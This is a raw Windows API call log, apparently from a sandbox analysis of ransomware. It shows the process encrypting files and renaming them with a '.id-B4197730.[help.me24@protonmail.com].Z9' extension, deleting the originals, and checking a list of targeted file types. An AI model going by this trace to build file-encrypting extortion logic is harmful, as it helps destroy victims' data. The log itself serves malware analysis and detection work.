	[0070.128] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x559518, Size=0x20) returned 0x53edd8
	[0070.128] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559518
	[0070.128] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x559518, Size=0x20) returned 0x53eef0
	[0070.128] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000
	[0070.128] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30
	[0070.128] Wow64DisableWow64FsRedirection (in: OldValue=0x378ff50 | out: OldValue=0x378ff50*=0x0) returned 1
	[0070.128] lstrlenW (lpString="kernel32.dll") returned 12
	[0070.128] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53edd8 | out: hHeap=0x500000) returned 1
	[0070.128] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0070.128] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53eef0 | out: hHeap=0x500000) returned 1
	[0070.128] Sleep (dwMilliseconds=0x64) 
	[0070.358] lstrcmpiW (lpString1=".cmd", lpString2=".Z9") returned -1
	[0070.358] lstrlenW (lpString="preoobe.cmd") returned 11
	[0070.358] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0070.711] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=74) returned 1
	[0070.711] CloseHandle (hObject=0x338) returned 1
	[0070.711] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20
	[0070.711] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.714] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0070.714] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.714] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.714] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0070.714] GetLastError () returned 0x0
	[0070.714] ReadFile (in: hFile=0x338, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x4a, lpOverlapped=0x0) returned 1
	[0070.734] WriteFile (in: hFile=0x320, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x50, lpOverlapped=0x0) returned 1
	[0070.736] ReadFile (in: hFile=0x338, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.736] WriteFile (in: hFile=0x320, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xea, lpOverlapped=0x0) returned 1
	[0070.736] SetEndOfFile (hFile=0x320) returned 1
	[0070.736] CloseHandle (hObject=0x320) returned 1
	[0070.739] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.739] SetEndOfFile (hFile=0x338) returned 1
	[0070.740] CloseHandle (hObject=0x338) returned 1
	[0070.740] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0070.740] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 1
	[0070.741] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0070.741] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0070.741] lstrlenW (lpString=".doc") returned 4
	[0070.741] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0070.741] lstrlenW (lpString=".docx") returned 5
	[0070.741] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0070.741] lstrlenW (lpString=".pdf") returned 4
	[0070.741] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0070.741] lstrlenW (lpString=".xls") returned 4
	[0070.741] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0070.741] lstrlenW (lpString=".xlsx") returned 5
	[0070.741] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0070.741] lstrlenW (lpString=".ppt") returned 4
	[0070.741] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0070.741] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0070.741] lstrlenW (lpString=".zip") returned 4
	[0070.741] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0070.741] lstrlenW (lpString=".rar") returned 4
	[0070.742] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0070.742] lstrlenW (lpString=".bz2") returned 4
	[0070.742] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0070.742] lstrlenW (lpString=".7z") returned 3
	[0070.742] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0070.742] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0070.742] lstrlenW (lpString=".dbf") returned 4
	[0070.742] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0070.742] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0070.742] lstrlenW (lpString=".1cd") returned 4
	[0070.742] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0070.742] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0070.742] lstrlenW (lpString=".jpg") returned 4
	[0070.742] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0070.742] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0070.742] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0070.742] lstrlenW (lpString=".doc") returned 4
	[0070.742] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0070.742] lstrlenW (lpString=".docx") returned 5
	[0070.742] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0070.742] lstrlenW (lpString=".pdf") returned 4
	[0070.742] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0070.742] lstrlenW (lpString=".xls") returned 4
	[0070.742] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0070.742] lstrlenW (lpString=".xlsx") returned 5
	[0070.743] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0070.743] lstrlenW (lpString=".ppt") returned 4
	[0070.743] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0070.743] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0070.743] lstrlenW (lpString=".zip") returned 4
	[0070.743] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0070.743] lstrlenW (lpString=".rar") returned 4
	[0070.743] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0070.743] lstrlenW (lpString=".bz2") returned 4
	[0070.743] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0070.743] lstrlenW (lpString=".7z") returned 3
	[0070.743] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0070.743] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0070.743] lstrlenW (lpString=".dbf") returned 4
	[0070.743] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0070.743] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0070.743] lstrlenW (lpString=".1cd") returned 4
	[0070.743] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0070.743] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33
	[0070.743] lstrlenW (lpString=".jpg") returned 4
	[0070.743] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0070.744] lstrcmpiW (lpString1=".MARKER", lpString2=".Z9") returned -1
	[0070.744] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30
	[0070.744] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0070.870] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=0) returned 1
	[0070.870] CloseHandle (hObject=0x324) returned 1
	[0070.870] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0070.870] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0070.870] lstrlenW (lpString=".doc") returned 4
	[0070.870] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0070.870] lstrlenW (lpString=".docx") returned 5
	[0070.870] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0070.870] lstrlenW (lpString=".pdf") returned 4
	[0070.870] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1
	[0070.870] lstrlenW (lpString=".xls") returned 4
	[0070.870] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1
	[0070.870] lstrlenW (lpString=".xlsx") returned 5
	[0070.870] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1
	[0070.870] lstrlenW (lpString=".ppt") returned 4
	[0070.870] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1
	[0070.870] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0070.870] lstrlenW (lpString=".zip") returned 4
	[0070.870] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1
	[0070.870] lstrlenW (lpString=".rar") returned 4
	[0070.870] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1
	[0070.870] lstrlenW (lpString=".bz2") returned 4
	[0070.870] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0070.870] lstrlenW (lpString=".7z") returned 3
	[0070.871] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0070.871] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0070.871] lstrlenW (lpString=".dbf") returned 4
	[0070.871] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0070.871] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0070.871] lstrlenW (lpString=".1cd") returned 4
	[0070.871] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0070.871] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0070.871] lstrlenW (lpString=".jpg") returned 4
	[0070.871] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1
	[0070.871] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0070.871] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0070.871] lstrlenW (lpString=".doc") returned 4
	[0070.871] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0070.871] lstrlenW (lpString=".docx") returned 5
	[0070.871] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0070.871] lstrlenW (lpString=".pdf") returned 4
	[0070.871] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1
	[0070.871] lstrlenW (lpString=".xls") returned 4
	[0070.871] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1
	[0070.871] lstrlenW (lpString=".xlsx") returned 5
	[0070.871] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1
	[0070.871] lstrlenW (lpString=".ppt") returned 4
	[0070.871] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1
	[0070.871] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0070.871] lstrlenW (lpString=".zip") returned 4
	[0070.871] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1
	[0070.871] lstrlenW (lpString=".rar") returned 4
	[0070.871] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1
	[0070.871] lstrlenW (lpString=".bz2") returned 4
	[0070.871] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0070.871] lstrlenW (lpString=".7z") returned 3
	[0070.871] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0070.871] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0070.871] lstrlenW (lpString=".dbf") returned 4
	[0070.872] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0070.872] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0070.872] lstrlenW (lpString=".1cd") returned 4
	[0070.872] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0070.872] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0070.872] lstrlenW (lpString=".jpg") returned 4
	[0070.872] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1
	[0070.872] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0070.872] lstrlenW (lpString="SetupResources.dll") returned 18
	[0070.872] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0071.317] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=17240) returned 1
	[0071.317] CloseHandle (hObject=0x300) returned 1
	[0071.317] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80
	[0071.317] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.317] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0071.317] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.318] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.318] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.318] GetLastError () returned 0x0
	[0071.318] ReadFile (in: hFile=0x300, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x4358, lpOverlapped=0x0) returned 1
	[0071.374] WriteFile (in: hFile=0x338, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x4360, lpOverlapped=0x0) returned 1
	[0071.376] ReadFile (in: hFile=0x300, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.376] WriteFile (in: hFile=0x338, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.376] SetEndOfFile (hFile=0x338) returned 1
	[0071.376] CloseHandle (hObject=0x338) returned 1
	[0071.377] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.377] SetEndOfFile (hFile=0x300) returned 1
	[0071.378] CloseHandle (hObject=0x300) returned 1
	[0071.378] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.378] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 1
	[0071.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0071.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0071.379] lstrlenW (lpString=".doc") returned 4
	[0071.379] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.379] lstrlenW (lpString=".docx") returned 5
	[0071.379] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.379] lstrlenW (lpString=".pdf") returned 4
	[0071.379] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.379] lstrlenW (lpString=".xls") returned 4
	[0071.379] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.379] lstrlenW (lpString=".xlsx") returned 5
	[0071.379] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.379] lstrlenW (lpString=".ppt") returned 4
	[0071.379] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0071.379] lstrlenW (lpString=".zip") returned 4
	[0071.379] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.379] lstrlenW (lpString=".rar") returned 4
	[0071.379] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.379] lstrlenW (lpString=".bz2") returned 4
	[0071.379] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.379] lstrlenW (lpString=".7z") returned 3
	[0071.379] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0071.379] lstrlenW (lpString=".dbf") returned 4
	[0071.379] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0071.379] lstrlenW (lpString=".1cd") returned 4
	[0071.379] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0071.379] lstrlenW (lpString=".jpg") returned 4
	[0071.379] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0071.380] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0071.380] lstrlenW (lpString=".doc") returned 4
	[0071.380] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.380] lstrlenW (lpString=".docx") returned 5
	[0071.380] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.380] lstrlenW (lpString=".pdf") returned 4
	[0071.380] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.380] lstrlenW (lpString=".xls") returned 4
	[0071.380] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.380] lstrlenW (lpString=".xlsx") returned 5
	[0071.380] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.380] lstrlenW (lpString=".ppt") returned 4
	[0071.380] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.380] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0071.380] lstrlenW (lpString=".zip") returned 4
	[0071.380] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.380] lstrlenW (lpString=".rar") returned 4
	[0071.380] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.380] lstrlenW (lpString=".bz2") returned 4
	[0071.380] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.380] lstrlenW (lpString=".7z") returned 3
	[0071.380] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.380] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0071.380] lstrlenW (lpString=".dbf") returned 4
	[0071.380] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.380] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0071.380] lstrlenW (lpString=".1cd") returned 4
	[0071.380] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.380] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0071.380] lstrlenW (lpString=".jpg") returned 4
	[0071.380] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.380] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0071.381] lstrlenW (lpString="SetupResources.dll") returned 18
	[0071.381] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0071.383] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=18776) returned 1
	[0071.383] CloseHandle (hObject=0x330) returned 1
	[0071.383] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80
	[0071.383] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.383] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0071.383] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.383] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.384] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0071.384] GetLastError () returned 0x0
	[0071.384] ReadFile (in: hFile=0x330, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x4958, lpOverlapped=0x0) returned 1
	[0071.508] WriteFile (in: hFile=0x2f4, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x4960, lpOverlapped=0x0) returned 1
	[0071.510] ReadFile (in: hFile=0x330, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.511] WriteFile (in: hFile=0x2f4, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.511] SetEndOfFile (hFile=0x2f4) returned 1
	[0071.511] CloseHandle (hObject=0x2f4) returned 1
	[0071.512] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.512] SetEndOfFile (hFile=0x330) returned 1
	[0071.513] CloseHandle (hObject=0x330) returned 1
	[0071.513] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.513] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 1
	[0071.514] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0071.514] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0071.514] lstrlenW (lpString=".doc") returned 4
	[0071.514] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.514] lstrlenW (lpString=".docx") returned 5
	[0071.514] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.514] lstrlenW (lpString=".pdf") returned 4
	[0071.514] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.514] lstrlenW (lpString=".xls") returned 4
	[0071.514] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.514] lstrlenW (lpString=".xlsx") returned 5
	[0071.514] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
